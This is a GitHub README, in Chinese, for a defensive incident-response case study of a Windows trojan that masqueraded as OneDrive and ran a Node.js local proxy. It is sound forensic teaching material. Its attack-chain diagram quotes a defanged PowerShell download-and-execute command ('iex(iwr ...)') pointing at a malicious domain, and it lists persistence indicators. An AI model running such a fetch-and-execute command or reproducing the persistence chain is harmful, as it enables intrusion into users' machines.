Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

IR Case Study — Windows Node.js 代理劫持木馬

Type Platform Status Root Cause Version License

一份真實的 Windows 惡意程式事件應變(Incident Response)與數位鑑識案例研究。 以「事件報告」形式撰寫:一份主文件 + 可驗證的證據附件。

這份報告刻意保留了三個被推翻的假設。 在 IR 中,排除一個假設與證實一個假設,價值相同。


摘要(Abstract)

某台 Windows 主機出現異常症狀:Google 相關網頁被強制轉跳至驗證碼(CAPTCHA)頁面。根因為一支偽裝成 OneDrive 元件的木馬,透過本機代理(127.0.0.1:1108)介入瀏覽器流量。

調查採「觀察 → 假設 → 驗證 → 發現 → 下一個問題」的循環,拆解出四階段攻擊鏈:hpatchmon.dll(Stage 1 Installer)→ 排程 Monitoring(Watchdog)→ OneDriveInstallerV12-tpn7(Stage 2 偽裝)→ PowerShell Downloader(Stage 3)→ node.exe 代理(Stage 4)。

Payload 與常駐機制已完成清除(Contained)。 完整驗證後,威脅活性風險低 —— 但初始存取來源(Initial Access)仍完全未知。詳見 docs/case-study.md


攻擊鏈(Attack Chain)

flowchart TD
    A["未知感染源<br/>Initial Access — <b>完全未知</b><br/>推測:核可 UAC 的安裝程式 或 UAC bypass"]:::unknown
    B["hpatchmon.dll + hpatchmonTask<br/>C:\Windows\System32<br/><b>Stage 1 · Installer</b>"]:::mal
    C["排程工作 'Monitoring'<br/>→ cmd.exe /d /c ...<br/><b>Watchdog</b>"]:::mal
    D["OneDriveInstallerV12-tpn7\<br/><b>Stage 2 · 偽裝落地</b>"]:::mal
    E["powershell<br/>iex(iwr ambertrailhouse[.]com)<br/><b>Stage 3 · Downloader</b>"]:::mal
    F["node.exe + app.js<br/><b>Stage 4 · Payload</b>"]:::mal
    G["Proxy 127.0.0.1:1108<br/>隧道轉發(<b>未解密</b>)"]:::impact
    H["Google 轉跳 CAPTCHA<br/>(上游髒 IP 觸發反濫用)"]:::symptom

    A --> B --> C --> D --> E --> F --> G --> H

    classDef unknown fill:#fff3cd,stroke:#d39e00,color:#000;
    classDef mal fill:#f8d7da,stroke:#b31b1b,color:#000;
    classDef impact fill:#d1ecf1,stroke:#0c5460,color:#000;
    classDef symptom fill:#e2e3e5,stroke:#383d41,color:#000;
Loading

關鍵發現(Key Findings)

三個被推翻的假設

假設 否證方式 影響
OneDriveInstallerV12 是入口」 hpatchmon 的發現與手法一致性 Stage 排序修正 —— 它只是第二階段
「機器以內建 Administrator 運作 → 無聲寫入 System32」 一條 whoami /user root cause 線索作廢,Initial Access 回到完全未知
「代理必然解密 HTTPS」 憑證存放區無 rogue CA 風險下調 —— 推測為隧道轉發而非解密

其他重點

  • CAPTCHA 是症狀,不是目的。 流量經代理轉發至上游髒 IP,遭反濫用機制判定為自動化流量;真實目的推測為搜尋劫持/廣告注入。
  • 無 rogue 根憑證。 代理可用 CONNECT 方法純隧道轉發 HTTPS 而不需任何憑證 —— 這推翻了「攔截必然意味解密」的直覺,也讓憑證外洩風險大幅下修。
  • 環境基線是排除誤判的關鍵。 本機有 3 類合法但具 MITM 能力的憑證(NordVPN / Razer / 第三方讀卡機軟體)、2 個非預設帳號(Codex 沙箱)、被 Docker 改寫的 hosts、滿是 fec0:: 的 DNS 欄位 —— 沒有基線,每一項都會被誤判成中毒。見 artifacts/notes/environment-baseline.md
  • 證據鏈已毀。 樣本在 hash / 備份前即被刪除,無法送分析。已列為 Limitation,也是本案最重要的教訓:先取證,再清除

完整 IOC 見 artifacts/ioc.csv


驗證結果

優先 項目 結果
🔴 P0-1 根憑證存放區 ✅ 乾淨(無 rogue CA)
🔴 P0-2 PAC / WinHTTP / hosts / DNS ✅ 乾淨
🟠 P1-1 內建 Administrator 假設 ❌ 推翻
🟠 P1-2 憑證輪替 ⬇️ 降級(未涉內部資產,無需通報)
🟡 P2 hpatch 殘留 / Amcache / 瀏覽器擴充 ⏳ 待執行

現況:不宜宣告 Closed,但理由已改變 —— 不再是「威脅可能還活著」,而是「入侵途徑不明,無法保證不會再發生」。


Repository 結構

IR-Case-Study-NodeMalware/
├── README.md                          # 本檔(Abstract)
├── LICENSE / .gitignore
│
├── docs/
│   ├── case-study.md                  # ⭐ 主文件:完整事件(七個調查循環)
│   └── appendix.md                    # 附錄:指令 / IOC / Registry / MITRE / 參考
│
├── diagrams/
│   ├── attack-chain.mmd               # 攻擊鏈
│   ├── timeline.mmd                   # 時間軸
│   ├── investigation-flow.mmd         # 調查循環
│   ├── persistence.mmd                # 常駐機制關係
│   └── images/                        # 匯出圖片(選用)
│
└── artifacts/
    ├── ioc.csv                        # 妥協指標
    ├── powershell-commands.txt        # 指令彙整
    ├── scheduled-task.xml             # 被排除的原廠排程(去識別化)
    ├── screenshots/                   # 證據截圖
    └── notes/
        ├── environment-baseline.md    # ⭐ 已知良性基線(排除誤判的關鍵)
        └── pending-investigation.md   # 驗證清單(P0/P1 已回填,P2 待執行)

建議閱讀順序

  1. 本 README — 30 秒掌握事件全貌。
  2. docs/case-study.md — 完整調查敘事(論文本文)。
  3. artifacts/notes/environment-baseline.md — 為什麼那些「可疑」的東西其實正常。
  4. docs/appendix.md — 技術細節與指令(論文附錄)。

去識別化(Anonymization)

本報告已針對來源主機做完整去識別化處理。以下項目一律以佔位符取代:

類別 處理方式
主機名稱 <HOSTNAME>
使用者帳號名稱 <user>
機器 SID(S-1-5-21-... 網域識別段) S-1-5-21-<REDACTED>
內網 / 路由器 IP、ISP DNS 位址 <LAN-IP> / <ROUTER-IP> / <ISP-DNS-IPv6-*>
第三方本機服務憑證的 Subject 欄位 <REDACTED>
ISP、地理位置、任職產業等可識別線索 已移除或泛化

保留的是技術結構,移除的是身分:帳號的 RID(如 1002 / 500)保留,因為 RID 決定權限語意、是本案推論的核心;帳號名稱移除,因為它只是身分。同理,DNS 的設定模式保留,位址移除。

第三方商用軟體的產品名稱亦予保留(如 NordVPN、Razer Synapse、Docker、OpenAI Codex CLI)。這些是產品事實而非身分事實 —— 任何安裝該軟體的人都會有相同表徵。基線文件的價值正在於指名道姓:把它們寫成「某 VPN 軟體會裝憑證」,讀者就無從比對自己的機器,文件也就失去意義。

惡意程式端的 IOC(網域、檔名、路徑、埠號)未做去識別化,僅依慣例 defang —— 這些是威脅情報,本就該公開。


免責聲明(Disclaimer)

本 Repository 為防禦性資安教育用途,記錄一次真實事件的調查、清除與驗證過程。所有妥協指標(IOC)均已去識別化(defang,例如 ambertrailhouse[.]com),不包含任何可運作的惡意程式碼或攻擊工具。所有 PowerShell 指令皆為鑑識查詢或清除復原用途。

文中提及的第三方軟體均為合法產品,其安裝根憑證或建立本機帳號的行為屬產品設計,本文引述僅為說明鑑識判讀時的歸因過程,不構成任何安全性指控


版本紀錄

版本 內容
v1.0 事件應變記錄、攻擊鏈重建、清除與驗證
v1.1 完成 P0/P1 驗證:無 rogue CA → 威脅模型改寫;內建 Administrator 假設推翻;新增環境基線
v1.2 全 repo 去識別化;新增 CONTRIBUTORS.md
v1.3(規劃) 回填 P2(hpatch 殘留 / Amcache 時間線 / 瀏覽器擴充)

About

抗戰木馬經驗統整

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages